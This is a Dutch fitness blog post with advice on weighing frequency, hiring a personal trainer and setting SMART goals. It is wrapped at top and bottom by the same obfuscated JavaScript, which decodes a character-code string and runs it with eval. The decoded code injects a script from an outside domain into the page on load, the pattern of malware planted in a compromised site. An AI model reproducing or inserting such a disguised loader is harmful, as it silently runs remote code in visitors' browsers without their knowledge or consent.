var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Hoe u snel uw sportdoelen kunt bereiken

Wilt u al heel lang spiermassa winnen of misschien afvallen maar lukt het nog steeds niet? Belooft u ook ieder nieuwjaar dat je het komende jaar uw doelen gaat behalen? Vanaf nu zal ik ervoor zorgen dat u uw doelen gaat behalen. Middels deze blog zal ik u meer vertellen over sport en zorg ik ervoor dat u de motivatie heeft en behoudt om uw sportdoelen te bereiken.

Hoe vaak wegen

Is uw doel om af te vallen of aan te komen? De grote fout is dat we onszelf te vaak wegen. Ik heb zelf ook wel eens mensen ontmoet die zelfs elke dag hun gewicht wogen, maar dit geeft een vertekend beeld en kan demotiverend werken. Om je gewicht nauwkeurig te meten, is het belangrijk om elke maand op de weegschaal te gaan staan, niet vaker!

Persoonlijke trainer

Wil je zo snel mogelijk je doelen bereiken en ben je niet in staat jezelf te motiveren? Neem dan contact op met jouw personal trainer! Een personal trainer zorgt ervoor dat je alle oefeningen goed doet en daarmee de juiste spiergroepen traint. Daarnaast legt de personal trainer ook een beetje sociale druk op je zodat je gemotiveerd blijft om consequent je doelen te behalen. Als je een cheat hebt gehad, moet je de resultaten aan je trainer laten zien. Bij het kiezen van een personal trainer is het belangrijk om een ​​trainer te kiezen met veel ervaring zodat hij je zo goed mogelijk kan helpen. Ruud Van Erp is een gerenommeerd personal trainer. Ruud van Erp is jarenlang opgeleid in de sportsector en heeft honderden mensen bereikt om hun sportdoelen te bereiken!

Smart doelstellingen

Als je je doelen wilt bereiken, is het onredelijk om tegen jezelf te zeggen: “Ik wil afvallen” of “Ik wil spiermassa winnen”. Probeer in plaats daarvan meetbare en realistische doelen te stellen om u gemotiveerd te houden. Stel je bijvoorbeeld voor dat je 1 kg per maand wilt afvallen en 3 keer per week wilt gaan sporten. Dit geeft je een maandelijks doel en houdt je gemotiveerd om elke vooruitgang te boeken. Het lijkt erop dat 10 kg veel is om af te vallen, maar als je ze deelt door 10 maanden hoef je maar 1 kg per maand af te vallen, dit is toch te doen?

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
1 2